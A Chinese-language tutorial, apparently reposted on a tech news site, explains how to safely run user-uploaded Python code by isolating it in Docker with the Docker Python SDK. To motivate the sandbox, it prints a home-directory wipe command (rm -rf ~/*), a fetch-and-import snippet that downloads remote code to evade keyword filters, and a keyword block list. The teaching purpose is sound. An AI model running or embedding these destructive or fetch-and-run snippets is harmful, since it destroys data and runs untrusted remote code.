当前位置:首页 > 科技  > 软件

一日一技:如何安全运行别人上传的Python代码?

来源: 责编: 时间:2023-10-29 21:45:48 430观看
导读写后端的同学,有时候需要在网站上实现一个功能,让用户上传或者编写自己的Python代码。后端再运行这些代码。涉及到用户自己上传代码,我们第一个想到的问题,就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两

写后端的同学,有时候需要在网站上实现一个功能,让用户上传或者编写自己的Python代码。后端再运行这些代码。29f28资讯网——每日最新资讯28at.com

涉及到用户自己上传代码,我们第一个想到的问题,就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行,在不做任何安全过滤的情况下,就会导致服务器的Home文件夹被清空。29f28资讯网——每日最新资讯28at.com

import osos.system('rm -rf ~/*')

有人想的比较简单,直接判断用户的代码里面有没有os.system、exec、subprocess……这些危险关键词不就可以了吗?29f28资讯网——每日最新资讯28at.com

这种想法乍看起来没有问题,但细想下,就会发现非常天真。如果用户的代码像下面这样写,你又要如何应对?29f28资讯网——每日最新资讯28at.com

import requestscode = requests.get('https://www.kingname.info/dangerous_code').textwith open('dangerous_code.py', 'w') as f:    f.write(code)dangerous_module = __import__('dangerous_code')danderous_module.delete_all()

其中https://www.kingname.info/dangerous_code对应的代码如下:29f28资讯网——每日最新资讯28at.com

import osdef delete_all():    os.system('rm -rf ~/*')

这样就可以绕过关键字检查,并成功删除你的文件了。29f28资讯网——每日最新资讯28at.com

如果你的网站本身就是一个爬虫管理平台,你检查用户自定义的代码时,肯定不能过滤掉requests这种网络请求库。那么你就很难判断用户下载下来的东西是否包含恶意代码。29f28资讯网——每日最新资讯28at.com

而且恶意代码不一定是删除你的东西,它完全可以直接把你项目下面的所有代码打包,上传到它指定的URL中,这样就能窃取你网站里面所有代码。29f28资讯网——每日最新资讯28at.com

为了避免这样的情况发生,我们就必须找一个干净又独立的环境来运行用户的代码。干净的环境能确保恶意代码没有东西可以偷,独立的环境能确保他即使删除了所有文件,也不会影响到你。29f28资讯网——每日最新资讯28at.com

显然,最简单直接的办法,就是使用Docker来运行用户的代码。而使用Docker并不一定需要在终端使用Shell命令。我们可以使用Docker的Python SDK来实现构建镜像和运行镜像。29f28资讯网——每日最新资讯28at.com

首先,确保你的服务器上面已经有Docker,并且正在运行。接下来,安装Docker SDK:29f28资讯网——每日最新资讯28at.com

pip install docker

假设,你把用户上传的文件放在了user/<user_id>/upload文件夹下面,那么,首先你需要生成一个Dockerfile,并把这个Dockerfile放到upload文件夹中:29f28资讯网——每日最新资讯28at.com

from python:3.10run pip install -r requirements.txtcopy . /appworkdir /app

当用户添加/修改了第三方库时,你只需要更新requirements.txt即可让镜像里面的依赖符合用户的需求。29f28资讯网——每日最新资讯28at.com

接下来,我们开始构建镜像并运行代码:29f28资讯网——每日最新资讯28at.com

import dockerclient = docker.from_env()client.images.build(path='user/<user_id>/upload', tag='xxxspider:0.01') # tag后面的名字可以自定义container = client.containers.run('xxxspider:0.01', detach=True, command='scrapy crawl xxx', 其他参数)

这个代码运行以后是非阻塞的,会立刻返回container对象。当你想查看代码日志时,执行:29f28资讯网——每日最新资讯28at.com

container.logs(tail=10) # 显示最后10行日志

就可以看到相关的日志了。29f28资讯网——每日最新资讯28at.com

关于Docker SDK的更多操作,可以看他的官方文档:Docker SDK for Python — Docker SDK for Python 6.1.3 documentation[1]29f28资讯网——每日最新资讯28at.com

参考资料

[1]Docker SDK for Python — Docker SDK for Python 6.1.3 documentation: https://docker-py.readthedocs.io/en/stable/index.html#docker-sdk-for-python29f28资讯网——每日最新资讯28at.com

本文链接:http://www.28at.com/showinfo-26-15610-0.html一日一技:如何安全运行别人上传的Python代码?

声明:本网页内容旨在传播知识,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。邮件:2376512515@qq.com

上一篇: 多模态LLM幻觉问题降低30%!业内首个“啄木鸟”免重训方法诞生

下一篇: 用示例和应用程序了解必要的Golang库

标签:
  • 热门焦点
  • 小米官宣:2023年上半年出货量中国第一!

    今日早间,小米电视官方微博带来消息,称2023年小米电视上半年出货量达到了中国第一,同时还表示小米电视的巨屏风暴即将开始。“公布一个好消息2023年#小米电视上半年出货量中国
  • 线程通讯的三种方法!通俗易懂

    线程通信是指多个线程之间通过某种机制进行协调和交互,例如,线程等待和通知机制就是线程通讯的主要手段之一。 在 Java 中,线程等待和通知的实现手段有以下几种方式:Object 类下
  • 把LangChain跑起来的三个方法

    使用LangChain开发LLM应用时,需要机器进行GLM部署,好多同学第一步就被劝退了,那么如何绕过这个步骤先学习LLM模型的应用,对Langchain进行快速上手?本片讲解3个把LangChain跑起来
  • 三言两语说透设计模式的艺术-单例模式

    写在前面单例模式是一种常用的软件设计模式,它所创建的对象只有一个实例,且该实例易于被外界访问。单例对象由于只有一个实例,所以它可以方便地被系统中的其他对象共享,从而减少
  • Java NIO内存映射文件:提高文件读写效率的优秀实践!

    Java的NIO库提供了内存映射文件的支持,它可以将文件映射到内存中,从而可以更快地读取和写入文件数据。本文将对Java内存映射文件进行详细的介绍和演示。内存映射文件概述内存
  • 微信语音大揭秘:为什么禁止转发?

    大家好,我是你们的小米。今天,我要和大家聊一个有趣的话题:为什么微信语音不可以转发?这是一个我们经常在日常使用中遇到的问题,也是一个让很多人好奇的问题。让我们一起来揭开这
  • iQOO 11S屏幕细节公布:首发三星2K E6全感屏 安卓最好的直屏手机

    日前iQOO手机官方宣布,新一代电竞旗舰iQOO 11S将会在7月4日19:00正式与大家见面。随着发布时间的日益临近,官方关于该机的预热也更加密集,截至目前已
  • iQOO Neo8 Pro真机谍照曝光:天玑9200+和V1+旗舰双芯加持

    去年10月,iQOO推出了iQOO Neo7系列机型,不仅搭载了天玑9000+,而且是同价位唯一一款天玑9000+直屏旗舰,一经上市便受到了用户的广泛关注。在时隔半年后,
  • 朋友圈可以修改可见范围了 苹果用户可率先体验

    近日,iOS用户迎来微信8.0.27正式版更新,除了可更换二维码背景外,还新增了多项实用功能。在新版微信中,朋友圈终于可以修改可见范围,简单来说就是已发布的朋友圈
Top